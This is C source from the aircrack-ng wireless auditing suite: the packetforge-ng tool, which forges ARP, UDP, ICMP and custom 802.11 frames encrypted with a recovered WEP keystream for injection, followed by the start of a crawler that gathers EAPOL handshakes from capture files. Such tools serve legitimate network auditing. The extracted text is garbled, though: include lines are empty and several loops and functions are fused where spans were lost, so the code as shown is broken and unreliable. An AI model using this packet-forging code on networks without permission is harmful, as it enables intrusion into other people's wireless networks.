"\xCC\xCC\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x22\x22\x22\x22" \ "\x00\x00\x00\x00\x00\x00\x00\x00" #define UDP_PACKET \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" \ "\x45\x00\x00\x1D\x00\x00\x40\x00\x40\x11\x00\x00\xC3\xBE\x8E\x74" \ "\xC1\x16\x02\x01\x83\x86\x86\x29\x00\x00\x00\x00\x05" #define ICMP_PACKET \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" \ "\x45\x00\x00\x1C\x00\x00\x40\x00\x40\x01\x00\x00\xC3\xBE\x8E\x74" \ "\xC1\x16\x02\x01\x08\x00\x83\xDC\x74\x22\x00\x01" #define NULL_PACKET \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern int getmac(char * macAddress, int strict, unsigned char * mac); extern int add_crc32(unsigned char* data, int length); char usage[] = "\n" " %s - (C) 2006-2013 Thomas d\'Otreppe\n" " Original work: Martin Beck\n" " http://www.aircrack-ng.org\n" "\n" " Usage: packetforge-ng \n" "\n" " Forge options:\n" "\n" " -p : set frame control word (hex)\n" " -a : set Access Point MAC address\n" " -c : set Destination MAC address\n" " -h : set Source MAC address\n" " -j : set FromDS bit\n" " -o : clear ToDS bit\n" " -e : disables WEP encryption\n" " -k : set Destination IP [Port]\n" " -l : set Source IP [Port]\n" " -t ttl : set Time To Live\n" " -w : write packet to this pcap file\n" " -s : specify size of null packet\n" " -n : set number of packets to generate\n" "\n" " Source options:\n" "\n" " -r : read packet from this raw file\n" " -y : read PRGA from this file\n" "\n" " Modes:\n" "\n" " --arp : forge an ARP packet (-0)\n" " --udp : forge an UDP packet (-1)\n" " --icmp : forge an ICMP packet (-2)\n" " --null : build a null packet (-3)\n" " --custom : build a custom packet (-9)\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char bssid[6]; unsigned char dmac[6]; unsigned char smac[6]; unsigned char dip[4]; unsigned char sip[4]; unsigned char fctrl[2]; unsigned char *prga; char *cap_out; char *raw_file; int mode; int pktlen; int prgalen; int ttl; int size; unsigned short sport; unsigned short dport; char tods; char fromds; char encrypt; FILE* ivs2; unsigned char prev_bssid[6]; int first_packet; int num_packets; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; unsigned char h80211[2048]; unsigned char tmpbuf[2048]; int capture_ask_packet( int *caplen ) { time_t tr; struct timeval tv; long nb_pkt_read; int i, j, n, mi_b, mi_s, mi_d; int ret; struct pcap_pkthdr pkh; tr = time( NULL ); nb_pkt_read = 0; if(opt.raw_file == NULL) { printf("Please specify an input file (-r).\n"); return 1; } while( 1 ) { if( time( NULL ) - tr > 0 ) { tr = time( NULL ); printf( "\rRead %ld packets...\r", nb_pkt_read ); fflush( stdout ); } /* there are no hidden backdoors in this source code */ n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = *caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); return( 1 ); } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) *caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } nb_pkt_read++; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { if( ( h80211[27] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } printf( "\n\n" ); printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_b ], h80211[mi_b + 1], h80211[mi_b + 2], h80211[mi_b + 3], h80211[mi_b + 4], h80211[mi_b + 5] ); printf( " Dest. MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_d ], h80211[mi_d + 1], h80211[mi_d + 2], h80211[mi_d + 3], h80211[mi_d + 4], h80211[mi_d + 5] ); printf( " Source MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_s ], h80211[mi_s + 1], h80211[mi_s + 2], h80211[mi_s + 3], h80211[mi_s + 4], h80211[mi_s + 5] ); /* print a hex dump of the packet */ for( i = 0; i < *caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf( "\n\nUse this packet ? " ); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) break; } return( 0 ); } int packet_dump(unsigned char* packet, int length) { int i; if(packet == NULL) return 1; if(length <= 0 || length > 2048) return 1; for(i=0; i 255 ) return( 1 ); ip[i] = n; if( ++i == 4 ) break; if( ! ( s = strchr( s, '.' ) ) ) break; s++; } if(i != 4) return 1; if( ( s = strchr( s, ':' ) ) && i == 4 ) { s++; if( sscanf( s, "%d", &n ) == 1 ) { if(n > 0 && n < 65536) *port = n; } } return( i != 4 ); } unsigned short ip_chksum(unsigned short* addr, int count) { unsigned short checksum; /* Compute Internet Checksum for "count" bytes * beginning at location "addr". */ unsigned long sum = 0; while( count > 1 ) { /* This is the inner loop */ sum += *addr; addr++; count -= 2; } /* Add left-over byte, if any */ if( count > 0 ) sum += * (unsigned char *) addr; /* Fold 32-bit sum to 16 bits */ while (sum>>16) sum = (sum & 0xffff) + (sum >> 16); checksum = ~sum; return checksum; } int set_tofromds(unsigned char* packet) { if(packet == NULL) return 1; /* set TODS,FROMDS bits */ if( ((opt.tods&1) == 1) && ((opt.fromds&1) == 1) ) { packet[1] = (packet[1] & 0xFC) | 0x03; /* set TODS=1,FROMDS=1 */ } if( ((opt.tods&1) == 1) && ((opt.fromds&1) == 0) ) { packet[1] = (packet[1] & 0xFC) | 0x01; /* set TODS=1,FROMDS=0 */ } if( ((opt.tods&1) == 0) && ((opt.fromds&1) == 1) ) { packet[1] = (packet[1] & 0xFC) | 0x02; /* set TODS=0,FROMDS=1 */ } if( ((opt.tods&1) == 0) && ((opt.fromds&1) == 0) ) { packet[1] = (packet[1] & 0xFC); /* set TODS=0,FROMDS=0 */ } return 0; } int set_bssid(unsigned char* packet) { int mi_b; if(packet == NULL) return 1; if( memcmp(opt.bssid, NULL_MAC, 6) == 0 ) { printf("Please specify a BSSID (-a).\n"); return 1; } switch( packet[1] & 3 ) { case 0: mi_b = 16; break; case 1: mi_b = 4; break; case 2: mi_b = 10; break; default: mi_b = 10; break; } /* write bssid mac */ memcpy(packet+mi_b, opt.bssid, 6); return 0; } int set_dmac(unsigned char* packet) { int mi_d; if(packet == NULL) return 1; if( memcmp(opt.dmac, NULL_MAC, 6) == 0 ) { printf("Please specify a destination MAC (-c).\n"); return 1; } switch( packet[1] & 3 ) { case 0: mi_d = 4; break; case 1: mi_d = 16; break; case 2: mi_d = 4; break; default: mi_d = 16; break; } /* write destination mac */ memcpy(packet+mi_d, opt.dmac, 6); return 0; } int set_smac(unsigned char* packet) { int mi_s; if(packet == NULL) return 1; if( memcmp(opt.smac, NULL_MAC, 6) == 0 ) { printf("Please specify a source MAC (-h).\n"); return 1; } switch( packet[1] & 3 ) { case 0: mi_s = 10; break; case 1: mi_s = 10; break; case 2: mi_s = 16; break; default: mi_s = 24; break; } /* write source mac */ memcpy(packet+mi_s, opt.smac, 6); return 0; } /* offset for ip&&udp = 48, for arp = 56 */ int set_dip(unsigned char* packet, int offset) { if(packet == NULL) return 1; if(offset < 0 || offset > 2046) return 1; if( memcmp(opt.dip, NULL_MAC, 4) == 0 ) { printf("Please specify a destination IP (-k).\n"); return 1; } /* set destination IP */ memcpy(packet+offset, opt.dip, 4); return 0; } /* offset for ip&&udp = 44, for arp = 46 */ int set_sip(unsigned char* packet, int offset) { if(packet == NULL) return 1; if(offset < 0 || offset > 2046) return 1; if( memcmp(opt.sip, NULL_MAC, 4) == 0 ) { printf("Please specify a source IP (-l).\n"); return 1; } /* set source IP */ memcpy(packet+offset, opt.sip, 4); return 0; } int set_ipid(unsigned char* packet, int offset) { unsigned short id; if(packet == NULL) return 1; if(offset < 0 || offset > 2046) return 1; id = (rand()&0xFFFF); /* set IP Identification */ memcpy(packet+offset, (unsigned char*)&id , 2); return 0; } int set_dport(unsigned char* packet) { unsigned short port; if(packet == NULL) return 1; port = ((opt.dport >> 8) & 0xFF) + ((opt.dport << 8) & 0xFF00); memcpy(packet+54, &port, 2); return 0; } int set_sport(unsigned char* packet) { unsigned short port; if(packet == NULL) return 1; port = ((opt.sport >> 8) & 0xFF) + ((opt.sport << 8) & 0xFF00); memcpy(packet+52, &port, 2); return 0; } int set_ip_ttl(unsigned char* packet) { unsigned char ttl; if(packet == NULL) return 1; ttl = opt.ttl; memcpy(packet+40, &ttl, 1); return 0; } int set_IVidx(unsigned char* packet) { if(packet == NULL) return 1; if(opt.prga == NULL) { printf("Please specify a PRGA file (-y).\n"); return 1; } /* insert IV+index */ memcpy(packet+24, opt.prga, 4); return 0; } int next_keystream(unsigned char *dest, int size, unsigned char *bssid, int minlen) { struct ivs2_pkthdr ivs2; char *buffer; int gotit=0; if(opt.ivs2 == NULL) return -1; if(minlen > size+4) return -1; while( fread( &ivs2, sizeof(struct ivs2_pkthdr), 1, opt.ivs2 ) == 1 ) { if(ivs2.flags & IVS2_BSSID) { if ( (int) fread( opt.prev_bssid, 6, 1, opt.ivs2) != 1) return -1; ivs2.len -= 6; } if(ivs2.len == 0) continue; buffer = (char*) malloc( ivs2.len ); if(buffer == NULL) return -1; if( (int) fread( buffer, ivs2.len, 1, opt.ivs2 ) != 1) { free(buffer); return -1; } if( memcmp(bssid, opt.prev_bssid, 6) != 0 ) { free(buffer); continue; } if( (ivs2.flags & IVS2_XOR) && ivs2.len >= (minlen+4) && !gotit) { if(size >= ivs2.len) { memcpy(dest, buffer, ivs2.len); opt.prgalen = ivs2.len; } else { memcpy(dest, buffer, size); opt.prgalen = size; } gotit=1; } free(buffer); if(gotit) return 0; } if(feof( opt.ivs2 )) { fseek( opt.ivs2, sizeof(IVS2_MAGIC)+sizeof(struct ivs2_filehdr) -1, SEEK_SET); return 1; } return -1; } int encrypt_data(unsigned char *dest, unsigned char* data, int length) { unsigned char cipher[2048]; int n; if(dest == NULL) return 1; if(data == NULL) return 1; if(length < 1 || length > 2044) return 1; if(opt.prga == NULL && opt.ivs2 == NULL) { printf("Please specify a XOR or %s file (-y).\n", IVS2_EXTENSION); return 1; } if( opt.ivs2 != NULL ) { n = next_keystream(opt.prga, 1500, opt.bssid, length); if(n < 0) { printf("Error getting keystream.\n"); return 1; } if(n==1) { if(opt.first_packet == 1) { printf("Error no keystream in %s file is long enough (%d).\n", IVS2_EXTENSION, length); return 1; } else n = next_keystream(opt.prga, 1500, opt.bssid, length); } } if(opt.prgalen-4 < length) { printf("Please specify a longer PRGA file (-y) with at least %i bytes.\n", (length+4)); return 1; } /* encrypt data */ for(n=0; n= 2048) return 1; f = fopen(srcfile, "rb"); if(f == NULL) { perror("fopen failed."); return 1; } readblock = fread(dest, (size_t)1, (size_t)length, f); if(readblock != (size_t)length) { perror("fread failed"); fclose(f); return 1; } fclose(f); return 0; } int write_cap_packet(unsigned char* packet, int length) { FILE *f; struct pcap_file_header pfh; struct pcap_pkthdr pkh; struct timeval tv; int n; if( opt.cap_out == NULL ) { printf("Please specify an output file (-w).\n"); return 1; } if(opt.first_packet) { if( ( f = fopen( opt.cap_out, "wb+" ) ) == NULL ) { fprintf( stderr, "failed: fopen(%s,wb+)\n", opt.cap_out ); return( 1 ); } pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; n = sizeof( struct pcap_file_header ); if( fwrite( &pfh, 1, n, f ) != (size_t) n ) { fprintf( stderr, "failed: fwrite(pcap file header)\n" ); fclose( f ); return( 1 ); } } else { if( ( f = fopen( opt.cap_out, "ab+" ) ) == NULL ) { fprintf( stderr, "failed: fopen(%s,ab+)\n", opt.cap_out ); return( 1 ); } } gettimeofday( &tv, NULL ); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.len = length; pkh.caplen = length; n = sizeof( pkh ); if( fwrite( &pkh, 1, n, f ) != (size_t) n ) { fprintf( stderr, "fwrite(packet header) failed\n" ); fclose( f ); return( 1 ); } n = length; if( fwrite( packet, 1, n, f ) != (size_t) n ) { fprintf( stderr, "fwrite(packet data) failed\n"); fclose( f ); return( 1 ); } fclose( f ); if(opt.first_packet) opt.first_packet = 0; return 0; } int read_prga(unsigned char **dest, char *file) { FILE *f; int size; struct ivs2_filehdr fivs2; if(file == NULL) return( 1 ); if(*dest == NULL) *dest = (unsigned char*) malloc(1501); if( memcmp( file+(strlen(file)-4), ".xor", 4 ) != 0 && memcmp( file+(strlen(file)-4), "."IVS2_EXTENSION, 4 ) != 0 ) { printf("Is this really a PRGA file: %s?\n", file); } f = fopen(file, "rb"); if(f == NULL) { printf("Error opening %s\n", file); return( 1 ); } fseek(f, 0, SEEK_END); size = (int)ftell(f); rewind(f); if(size > 1500) size = 1500; if( (int)fread( (*dest), size, 1, f ) != 1 ) { fprintf( stderr, "fread failed\n" ); fclose( f ); return( 1 ); } if( memcmp((*dest), IVS2_MAGIC, 4 ) == 0 ) { if( (unsigned) size < sizeof(struct ivs2_filehdr) + 4) { fprintf( stderr, "No valid %s file.", IVS2_EXTENSION); return( 1 ); } memcpy( &fivs2, (*dest) + 4, sizeof(struct ivs2_filehdr)); if(fivs2.version > IVS2_VERSION) { printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION ); } opt.ivs2 = f; fseek(f, sizeof(IVS2_MAGIC)+sizeof(struct ivs2_filehdr)-1, SEEK_SET); } else { //assuming old xor file if( (*dest)[3] > 0x03 ) { printf("Are you really sure that this is a valid keystream? Because the index is out of range (0-3): %02X\n", (*dest)[3] ); } opt.prgalen = size; fclose( f ); } return( 0 ); } int forge_arp() { /* use arp request */ opt.pktlen = 60; memcpy( h80211, ARP_REQ, opt.pktlen ); memcpy( opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); if( set_tofromds(h80211) != 0 ) return 1; if( set_bssid(h80211) != 0 ) return 1; if( set_smac(h80211) != 0 ) return 1; if( set_dmac(h80211) != 0 ) return 1; memcpy( h80211 + 40, opt.smac, 6 ); if( set_dip(h80211, 56) != 0 ) return 1; if( set_sip(h80211, 46) != 0 ) return 1; return 0; } int forge_udp() { unsigned short chksum; opt.pktlen = 61; memcpy(h80211, UDP_PACKET, opt.pktlen); if( set_tofromds(h80211) != 0 ) return 1; if( set_bssid(h80211) != 0 ) return 1; if( set_smac(h80211) != 0 ) return 1; if( set_dmac(h80211) != 0 ) return 1; if( set_dip(h80211, 48) != 0 ) return 1; if( set_sip(h80211, 44) != 0 ) return 1; if( opt.ttl != -1 ) if( set_ip_ttl(h80211) != 0 ) return 1; if( set_ipid(h80211, 36) != 0 ) return 1; /* set udp length */ h80211[57] = '\x09'; /* generate + set ip checksum */ chksum = ip_chksum((unsigned short*)(h80211+32), 20); memcpy(h80211+42, &chksum, 2); return 0; } int forge_icmp() { unsigned short chksum; opt.pktlen = 60; memcpy(h80211, ICMP_PACKET, opt.pktlen); if(memcmp(opt.dmac, NULL_MAC, 6) == 0) { memcpy( opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); } if( set_tofromds(h80211) != 0 ) return 1; if( set_bssid(h80211) != 0 ) return 1; if( set_smac(h80211) != 0 ) return 1; if( set_dmac(h80211) != 0 ) return 1; if( set_dip(h80211, 48) != 0 ) return 1; if( set_sip(h80211, 44) != 0 ) return 1; if( opt.ttl != -1 ) if( set_ip_ttl(h80211) != 0 ) return 1; if( set_ipid(h80211, 36) != 0 ) return 1; /* generate + set ip checksum */ chksum = ip_chksum((unsigned short*)(h80211+32), 20); memcpy(h80211+42, &chksum, 2); return 0; } int forge_null() { opt.pktlen = opt.size; memcpy(h80211, NULL_PACKET, 24); memset(h80211+24, '\0', (opt.pktlen - 24)); if(memcmp(opt.dmac, NULL_MAC, 6) == 0) { memcpy( opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); } if( set_tofromds(h80211) != 0 ) return 1; if( set_bssid(h80211) != 0 ) return 1; if( set_smac(h80211) != 0 ) return 1; if( set_dmac(h80211) != 0 ) return 1; if( opt.pktlen > 26 ) h80211[26]=0x03; return 0; } int forge_custom() { if(capture_ask_packet( &opt.pktlen ) != 0) return 1; // if(read_raw_packet(h80211, opt.raw_file, opt.pktlen) != 0) return 1; if( set_tofromds(h80211) != 0 ) return 1; if(memcmp(opt.bssid, NULL_MAC, 6) != 0) { if( set_bssid(h80211) != 0 ) return 1; } if(memcmp(opt.dmac, NULL_MAC, 6) != 0) { if( set_dmac(h80211) != 0 ) return 1; } if(memcmp(opt.smac, NULL_MAC, 6) != 0) { if( set_smac(h80211) != 0 ) return 1; } return 0; } void print_usage(void) { printf(usage, getVersion("Packetforge-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } int main(int argc, char* argv[]) { int arg; int option_index; int ret; int n; memset( &opt, 0, sizeof( opt ) ); /* initialise global options */ memset(opt.bssid, '\x00', 6); memset(opt.dmac, '\x00', 6); memset(opt.smac, '\x00', 6); memset(opt.dip, '\x00', 4); memset(opt.sip, '\x00', 4); memset(opt.fctrl, '\x00', 2); opt.prga = NULL; opt.cap_out = NULL; opt.raw_file = NULL; opt.mode = -1; opt.pktlen = -1; opt.prgalen = -1; opt.ttl = -1; opt.sport = -1; opt.dport = -1; opt.tods = 1; opt.fromds = 0; opt.encrypt = 1; opt.size = 30; opt.ivs2 = NULL; memset(opt.prev_bssid, '\x00', 6); opt.first_packet = 1; opt.num_packets = 1; srand(time(NULL)); while( 1 ) { static struct option long_options[] = { {"arp", 0, 0, '0'}, {"udp", 0, 0, '1'}, {"icmp", 0, 0, '2'}, {"null", 0, 0, '3'}, {"custom", 0, 0, '9'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; int option; option_index = 0; option = getopt_long( argc, argv, "p:a:c:h:jok:l:j:r:y:01239w:et:s:Hn:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'p' : ret = sscanf( optarg, "%x", &arg ); if( arg < 0 || arg > 65535 || ret != 1) { printf( "Invalid frame control word. [0-65535]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.fctrl[0]=((arg>>8)&0xFF); opt.fctrl[1]=(arg&0xFF); break; case 't' : ret = sscanf( optarg, "%i", &arg ); if( arg < 0 || arg > 255 || ret != 1) { printf( "Invalid time to live. [0-255]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.ttl = arg; break; case 'n' : ret = sscanf( optarg, "%i", &arg ); if( arg <= 0 || ret != 1) { printf( "Invalid number of packets. [>=1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.num_packets = arg; break; case 'a' : if( getmac( optarg, 1, opt.bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : if( getmac( optarg, 1, opt.dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'j' : opt.fromds = 1; break; case 'o' : opt.tods = 0; break; case 'e' : opt.encrypt = 0; break; case 'r' : if( opt.raw_file != NULL ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.raw_file = optarg; break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'w' : if( opt.cap_out != NULL ) { printf( "Output file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.cap_out = optarg; break; case 'k' : if( getip(optarg, opt.dip, &(opt.dport)) != 0 ) { printf( "Invalid destination IP address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return 1; } break; case 'l' : if( getip(optarg, opt.sip, &(opt.sport)) != 0 ) { printf( "Invalid source IP address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return 1; } break; case 's' : ret = sscanf( optarg, "%i", &arg ); if( arg < 26 || arg > 1520 || ret != 1) { printf( "Invalid packet size. [26-1520]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.size = arg; break; case '0' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 0; break; case '1' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 1; break; case '2' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 2; break; case '3' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 3; break; case '9' : if( opt.mode != -1 ) { printf( "Mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.mode = 9; break; case 'H' : print_usage(); return( 1 ); default : break; } } if(argc == 1) { print_usage(); printf("Please specify a mode.\n"); return( 1 ); } if( opt.raw_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.raw_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.raw_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } for(n=0; n 1?"s":""), opt.cap_out ); if(opt.ivs2) fclose(opt.ivs2); return 0; } aircrack-ng-1.2-beta3/src/besside-ng-crawler.c0000644000000000000000000002177111472575133017657 0ustar rootroot/* * Copyright (C) 2010 Pedro Larbig * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #include // Statistics uint32_t stats_files = 0; uint32_t stats_dirs = 0; uint32_t stats_caps = 0; uint32_t stats_noncaps = 0; uint32_t stats_packets = 0; uint32_t stats_eapols = 0; uint32_t stats_networks = 0; // Global Dumpfile pcap_t *dumphandle; pcap_dumper_t *dumper; struct bsslist { u_char *bssid; u_char beacon_saved; struct bsslist *next; }; struct bsslist *is_in_list(struct bsslist *bsl, const u_char *bssid) { while (bsl != NULL) { if (! memcmp(bsl->bssid, bssid, 6)) return bsl; bsl = bsl->next; } return NULL; } struct bsslist *add_to_list(struct bsslist *bsl, const u_char *bssid) { struct bsslist *new, *search; new= malloc(sizeof(struct bsslist)); new->bssid = malloc(6); memcpy(new->bssid, bssid, 6); new->next = NULL; new->beacon_saved = 0x00; if (bsl == NULL) { return new; } else { search = bsl; while (search->next) search = search->next; search->next = new; return bsl; } } void free_bsslist(struct bsslist *bsl) { if (! bsl) return; if (bsl->next) free_bsslist(bsl->next); free(bsl->bssid); free(bsl); } struct bsslist *get_eapol_bssids(pcap_t *handle) { struct pcap_pkthdr header; const u_char *pkt, *llc, *bssid, *offset = NULL; struct bsslist *bsl = NULL; int o = 0; pkt = pcap_next(handle, &header); if (pcap_datalink(handle) == DLT_PRISM_HEADER) { if (pkt[5] || pkt[6]) { printf("Unsupported PRISM_HEADER format!\n"); return NULL; } if (pkt[7] == 0x40) { //prism54 format offset = pkt + 7; } else { offset = pkt + 4; } } while (pkt != NULL) { stats_packets++; if (offset) o = (*offset); if ((pkt[0+o] == 0x08) || (pkt[0+o] == 0x88)) { //Data or QoS Data if (pkt[0+o] == 0x88) { //Qos Data has 2 bytes extra in header llc = pkt + 26 + o; } else { llc = pkt + 24 + o; } if ((pkt[1+o] & 0x03) == 0x01) { //toDS bssid = pkt + 4 + o; } else { //fromDS - I skip adhoc and wds since its unlikely to have eapol in there (?) bssid = pkt + 10 + o; } if (! memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8)) { stats_eapols++; if (! is_in_list(bsl, bssid)) { printf("EAPOL found for BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); bsl = add_to_list(bsl, bssid); stats_networks++; } } } pkt = pcap_next(handle, &header); } return bsl; } void process_eapol_networks(pcap_t *handle, struct bsslist *bsl) { struct pcap_pkthdr header; const u_char *pkt, *llc, *bssid, *offset = 0; struct bsslist *known; int o = 0; pkt = pcap_next(handle, &header); if 